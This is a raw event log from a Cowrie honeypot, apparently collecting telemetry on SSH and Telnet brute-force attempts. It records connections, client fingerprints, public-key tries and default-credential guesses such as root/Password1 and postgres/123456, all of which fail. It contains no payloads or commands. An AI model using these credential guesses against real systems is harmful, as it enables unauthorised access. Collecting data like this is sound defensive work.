{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:27.837961Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:27.932966Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.251825Z","src_ip":"83.168.110.85","session":"7a5f6db22fdf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:bd:df:df:45:41:c6:1d:94:19:83:c3:19:1d:02:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvcffalvVAVox4NTtr2o61HybgUhTEgcAdN50Ue0avxCk0142mGOpW4yuO5v/bYqxodqQbNuHp/CXq/lEfCutkG94j7qhDGhvuOOpmr+q2AeFSUpGYtwOwVmuE62r1efOsn2fL7T17j6y34//YrVQA0frAoJ44JOk9JZoAH/cLzr1c/LvXfwQP1wi130vLwAzDG+s43ALzs7LygvS37y2HHdU3zgZSf/yEsV+D4nVK58OS2p1UGJewTc+QRPY8EZuj7b7V/lXFoTV2GR/LIrYVmKGDcHBSqUg+Xd93X3AlhwtzzvAZkfS/GrcSLMJ0Nna0GtvNpZGbOHu3KyIu6QKGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:bd:df:df:45:41:c6:1d:94:19:83:c3:19:1d:02:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.389510Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:bd:df:df:45:41:c6:1d:94:19:83:c3:19:1d:02:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvcffalvVAVox4NTtr2o61HybgUhTEgcAdN50Ue0avxCk0142mGOpW4yuO5v/bYqxodqQbNuHp/CXq/lEfCutkG94j7qhDGhvuOOpmr+q2AeFSUpGYtwOwVmuE62r1efOsn2fL7T17j6y34//YrVQA0frAoJ44JOk9JZoAH/cLzr1c/LvXfwQP1wi130vLwAzDG+s43ALzs7LygvS37y2HHdU3zgZSf/yEsV+D4nVK58OS2p1UGJewTc+QRPY8EZuj7b7V/lXFoTV2GR/LIrYVmKGDcHBSqUg+Xd93X3AlhwtzzvAZkfS/GrcSLMJ0Nna0GtvNpZGbOHu3KyIu6QKGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.396805Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:1b:85:be:1d:01:fe:63:1f:fa:cb:bd:79:79:68:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfVGEZQYWc9XUrMF7BLJV2LT9OF7tQOszjgPOLpqtjAfdNvbYWIFukoVdOG4ijNHYVP7J487m6VTgjcEdaWXUA/GEEwLYGOT60dB+EvCJoHJt9PX3MmPM2EXSzVh3ahyRvubc2fuAxQYeFXSJP9dOPiM9N8/Wae1QOibH6ghgZwz7ZMEgkVlZxroW2x+QvjAncFTfc8M1VkehXnxoOdeuZkua49nC6o+selHL5h/+h+PEMx17a+iGCoVvl+BpJdPlLsRYqD3NrE81kT9Fj4WafFCURHSV48dPwdVgG51iGPxkaGAGGXxKp6oWZu1vr5UXeicLRIS/lUhvT0JqlA8rH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:1b:85:be:1d:01:fe:63:1f:fa:cb:bd:79:79:68:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.493558Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:1b:85:be:1d:01:fe:63:1f:fa:cb:bd:79:79:68:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfVGEZQYWc9XUrMF7BLJV2LT9OF7tQOszjgPOLpqtjAfdNvbYWIFukoVdOG4ijNHYVP7J487m6VTgjcEdaWXUA/GEEwLYGOT60dB+EvCJoHJt9PX3MmPM2EXSzVh3ahyRvubc2fuAxQYeFXSJP9dOPiM9N8/Wae1QOibH6ghgZwz7ZMEgkVlZxroW2x+QvjAncFTfc8M1VkehXnxoOdeuZkua49nC6o+selHL5h/+h+PEMx17a+iGCoVvl+BpJdPlLsRYqD3NrE81kT9Fj4WafFCURHSV48dPwdVgG51iGPxkaGAGGXxKp6oWZu1vr5UXeicLRIS/lUhvT0JqlA8rH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.497605Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:1c:f8:36:96:81:89:25:13:27:02:32:72:3e:30:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Vd66454EEtNItP7W/oTqGJXcrFQIkrrdBCWRmtaYI89K8ZhZm38aYCdbI1MpB6q9/00lQqkzLhnXH++irNi7haHVIY1QE+dYEvMEtA6lfUq2CmpFwSSuZBkdDYlysooglrXhfgs2he8CYnvSbbkHdSGxnPPWcFttfAu8yOfkYcCw5HDIQ3AnCt+5hK0XbcRrxNu1UPvRcZ4PnkZIuju5B0xKVD5oK+ODSW64n2R1R/M/k0FcEsaX/na8FNDAYatJM8pmv/fHTQ0XtMezPI82fLr1fHBDU7WTsihK3nJIw46u51hVHUvwZNB/z8t2LT+4NuTQo0mNizDwWjeALwsf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:1c:f8:36:96:81:89:25:13:27:02:32:72:3e:30:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.596385Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:1c:f8:36:96:81:89:25:13:27:02:32:72:3e:30:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Vd66454EEtNItP7W/oTqGJXcrFQIkrrdBCWRmtaYI89K8ZhZm38aYCdbI1MpB6q9/00lQqkzLhnXH++irNi7haHVIY1QE+dYEvMEtA6lfUq2CmpFwSSuZBkdDYlysooglrXhfgs2he8CYnvSbbkHdSGxnPPWcFttfAu8yOfkYcCw5HDIQ3AnCt+5hK0XbcRrxNu1UPvRcZ4PnkZIuju5B0xKVD5oK+ODSW64n2R1R/M/k0FcEsaX/na8FNDAYatJM8pmv/fHTQ0XtMezPI82fLr1fHBDU7WTsihK3nJIw46u51hVHUvwZNB/z8t2LT+4NuTQo0mNizDwWjeALwsf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.600873Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:a2:c7:ea:8d:97:61:48:35:81:a9:e4:ca:20:63:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLSNGkKhnL0XQFtinqsWtX9ahIE4PyC4l78EqLkthd/N6TEsHI4Zd3Oa6qwblVSkxw6Iz0sevffzHIC/ce9Nmf88KSIywRBFnelPWkjggGh2wAJWVGjKBW8I2fSAIZxVacgn8EW561zVI1qfSoRfebC1hCxGGumAdMgXk32BQ5f58tzBUIsViNN0UyytrC+6iTMoi7YxccyKqgjUBzcljzeWSlkvladABhqG0iWVENDa9V+bsb3T/Wa4ZDO9czcsfPgWH5PiLq69KE05yXWipYpljY3S/3oGj3/2/4+sWOPl3qMYHnDynZncDaz6FNDOOtg92jkMBXtswtAZqfBjLL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:a2:c7:ea:8d:97:61:48:35:81:a9:e4:ca:20:63:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.698115Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:a2:c7:ea:8d:97:61:48:35:81:a9:e4:ca:20:63:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLSNGkKhnL0XQFtinqsWtX9ahIE4PyC4l78EqLkthd/N6TEsHI4Zd3Oa6qwblVSkxw6Iz0sevffzHIC/ce9Nmf88KSIywRBFnelPWkjggGh2wAJWVGjKBW8I2fSAIZxVacgn8EW561zVI1qfSoRfebC1hCxGGumAdMgXk32BQ5f58tzBUIsViNN0UyytrC+6iTMoi7YxccyKqgjUBzcljzeWSlkvladABhqG0iWVENDa9V+bsb3T/Wa4ZDO9czcsfPgWH5PiLq69KE05yXWipYpljY3S/3oGj3/2/4+sWOPl3qMYHnDynZncDaz6FNDOOtg92jkMBXtswtAZqfBjLL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.701987Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:22:91:f2:25:81:49:0a:52:42:08:b0:38:0b:18:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNdliISIcgP9Rz7gswjOJyDK8iOeiCA6fW6boYAfS6HJKMpon1nJstA57Y84Q70a4Ktotz13lJipRNRjSKS/Kg0Nc88PAQ8vaeW8TYKRrySrPM5CHGOH9W51vD2J33zPBRUM0sJbZ7APKhBpLER1lGhcHs3s9Q5YGl6dxllKVRsccC7w5/+310rzIZfXLuvwznQVyPiVkakv1+eDvZI6aGx8sFfCgen09Vefc4pKj+TX4GwH8U1jzkoKgDDi4FOn/RQLDsewEWYOkte/W6Q089Vmr0nhvrlBt3qrMKP1OkLONCedzldjY0SWD8BBsHEUW9KbBGCDbu4ABfaDHJ8VWx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:22:91:f2:25:81:49:0a:52:42:08:b0:38:0b:18:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.800613Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:22:91:f2:25:81:49:0a:52:42:08:b0:38:0b:18:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNdliISIcgP9Rz7gswjOJyDK8iOeiCA6fW6boYAfS6HJKMpon1nJstA57Y84Q70a4Ktotz13lJipRNRjSKS/Kg0Nc88PAQ8vaeW8TYKRrySrPM5CHGOH9W51vD2J33zPBRUM0sJbZ7APKhBpLER1lGhcHs3s9Q5YGl6dxllKVRsccC7w5/+310rzIZfXLuvwznQVyPiVkakv1+eDvZI6aGx8sFfCgen09Vefc4pKj+TX4GwH8U1jzkoKgDDi4FOn/RQLDsewEWYOkte/W6Q089Vmr0nhvrlBt3qrMKP1OkLONCedzldjY0SWD8BBsHEUW9KbBGCDbu4ABfaDHJ8VWx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.805429Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:28.903050Z","src_ip":"78.111.67.246","session":"84635041a852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":53754,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcf1a205c6b0","protocol":"ssh","message":"New connection: 147.45.197.250:53754 (159.203.135.109:22) [session: fcf1a205c6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:32.102103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:32.107081Z","src_ip":"147.45.197.250","session":"fcf1a205c6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:32.196514Z","src_ip":"147.45.197.250","session":"fcf1a205c6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020291","message":"login attempt [root/020291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:32.465082Z","src_ip":"147.45.197.250","session":"fcf1a205c6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46388,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5956901802b","protocol":"ssh","message":"New connection: 83.168.110.85:46388 (10.17.0.5:22) [session: d5956901802b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:33.436042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:33.441142Z","src_ip":"83.168.110.85","session":"d5956901802b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:33.557567Z","src_ip":"147.45.197.250","session":"fcf1a205c6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:33.562537Z","src_ip":"83.168.110.85","session":"d5956901802b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:34.082545Z","src_ip":"83.168.110.85","session":"d5956901802b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:35.206504Z","src_ip":"83.168.110.85","session":"d5956901802b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60222,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d82f032aee9","protocol":"ssh","message":"New connection: 83.168.110.85:60222 (10.17.0.5:22) [session: 8d82f032aee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:40.507498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:40.511772Z","src_ip":"83.168.110.85","session":"8d82f032aee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:40.631828Z","src_ip":"83.168.110.85","session":"8d82f032aee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:40.999183Z","src_ip":"83.168.110.85","session":"8d82f032aee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:42.380299Z","src_ip":"83.168.110.85","session":"8d82f032aee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56602,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e886f1e8b2","protocol":"ssh","message":"New connection: 83.168.110.85:56602 (10.17.0.5:22) [session: 51e886f1e8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:47.642743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:47.647994Z","src_ip":"83.168.110.85","session":"51e886f1e8b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:47.773515Z","src_ip":"83.168.110.85","session":"51e886f1e8b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:48.140740Z","src_ip":"83.168.110.85","session":"51e886f1e8b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:49.267385Z","src_ip":"83.168.110.85","session":"51e886f1e8b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41324,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef494c057868","protocol":"telnet","message":"New connection: 152.42.224.71:41324 (10.17.0.5:23) [session: ef494c057868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:54.595261Z"}
